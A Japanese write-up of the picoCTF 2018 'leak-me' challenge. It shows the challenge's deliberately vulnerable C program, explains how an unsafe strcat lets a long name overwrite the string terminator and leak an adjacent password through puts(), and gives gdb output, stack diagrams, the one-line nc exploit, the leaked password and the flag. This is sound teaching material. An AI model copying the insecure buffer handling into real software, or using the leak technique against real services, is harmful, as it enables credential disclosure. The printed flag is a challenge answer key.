picoCTF 2018: leak-me

問題

問題文

Can you authenticate to this service and get the flag? Connect with nc 2018shell2.picoctf.com 23685. Source.

Hints:

Are all the system calls being used safely?

Some people can have reallllllly long names you know..

問題概要

脆弱性のあるプログラムおよびそのソースコードとそのプログラムが動いているサーバーへの接続先が与えられる.

解答例

指針

  • strcat を使っているので buffer over flow による終端文字の上書きができる

解説

与えられたソースコードは以下の通りである.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];
  
  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));
  
  printf("What is your name?\n");
  
  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';
  
  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

メモリ上において変数 password は 変数 name の直後に配置されている.

したがって, name に長い文字列が与えられた場合, strcat によって終端文字列が消され puts(name); としたとき, password の内容まで表示してしまう.

例えば A を 250 個並べた文字列を入力に与えたとしよう.

このとき, fgets(name, sizeof(name), stdin); により AAAA...AA が name に格納される.

gdb を使って main() を逆アセンブルすることで, 変数の先頭アドレスが分かる.

$ gdb -q auth
Reading symbols from auth...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x080486c8 <+0>:     lea    ecx,[esp+0x4]
0x080486cc <+4>:     and    esp,0xfffffff0
0x080486cf <+7>:     push   DWORD PTR [ecx-0x4]
0x080486d2 <+10>:    push   ebp
0x080486d3 <+11>:    mov    ebp,esp
...
(snip)
...
0x08048714 <+76>:    lea    eax,[ebp-0x54] # 変数 password の先頭アドレス
0x08048717 <+79>:    push   eax
0x08048718 <+80>:    call   0x8048530 <memset@plt>
0x0804871d <+85>:    add    esp,0x10
0x08048720 <+88>:    sub    esp,0x4
0x08048723 <+91>:    push   0x100
0x08048728 <+96>:    push   0x0
0x0804872a <+98>:    lea    eax,[ebp-0x154] # 変数 name の先頭アドレス
0x08048730 <+104>:   push   eax
0x08048731 <+105>:   call   0x8048530 <memset@plt>

[ebp-0x54] が 変数 password の先頭アドレスで, [ebp-0x154] が変数 name の先頭アドレスである.

入力として "AAAAAA...A" を与えたときの Call Stack は下の図のようになっているはずである.

    char *end = strchr(name, '\n');
    if (end != NULL) {
        *end = '\x00';
    }

によって, 文字列の末尾の改行コード \n は終端文字に 0x0 に置き換わっている.

    (lower address)

    [ebp-0x154] | 'A' | # top of name[]
    [ebp-0x153] | 'A' |
    [ebp-0x152] | 'A' |
    ...
    [ebp-0x05c] | 'A' |
    |ebp-0x05b] | 'A' |
    |ebp-0x05a] | 0x0 |
    ...
    [ebp-0x054] | 0x0 | # top of password[]
    [ebp-0x053] | 0x0 |
    [ebp-0x052] | 0x0 |

    (higher address)

ここで,

    strcat(name, ",\nPlease Enter the Password.");

に対応するアセンブリ命令は

    0x08048781 <+185>:   lea    eax,[ebp-0x154]
    0x08048787 <+191>:   push   eax
    0x08048788 <+192>:   call   0x80484f0 <strchr@plt>

となるので, Call Stack は

    (lower address)

    [ebp-0x154] | 'A' | # top of name[]
    [ebp-0x153] | 'A' |
    [ebp-0x152] | 'A' |
    ...
    [ebp-0x05c] | 'A' |
    [ebp-0x05b] | 'A' |
    [ebp-0x05a] | ',' |
    [ebp-0x059] |'\n' |
    [ebp-0x058] | 'P' |
    [ebp-0x057] | 'l' |
    [ebp-0x056] | 'e' |
    [ebp-0x055] | 'a' |
    [ebp-0x054] | 's' | # top of password[]
    [ebp-0x053] | 'e' |
    [ebp-0x052] | ' ' |
    ...
    [ebp-0x0??]  | 0x0 |

    (higher address)

となり, password の部分まで上書きされる.

このあと, 以下の fgets() により password の部分に password.txt の中身が更に上書きされる.

    fgets(password, sizeof(password), file);

ここで, puts(name); が呼ばれたとき, puts() は終端が現れるまで文字を表示するので, password の内容も表示されてしまう.

実際に A が 250回繰り返される文字列を送ってみる.

$ python3 -c "print('A'*250)" | nc 2018shell2.picoctf.com 23685
What is your name?
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,
Pleaa_reAllY_s3cuRe_p4s$word_a28d9d

先に述べた理論と一致した出力が得られた. この出力により password が a_reAllY_s3cuRe_p4s$word_a28d9d だと分かったので, それを入力すると flag が得られた.

$ nc 2018shell2.picoctf.com 23685
What is your name?
kira
Hello kira,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_a28d9d
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_ee6111c9}

flag: picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_ee6111c9}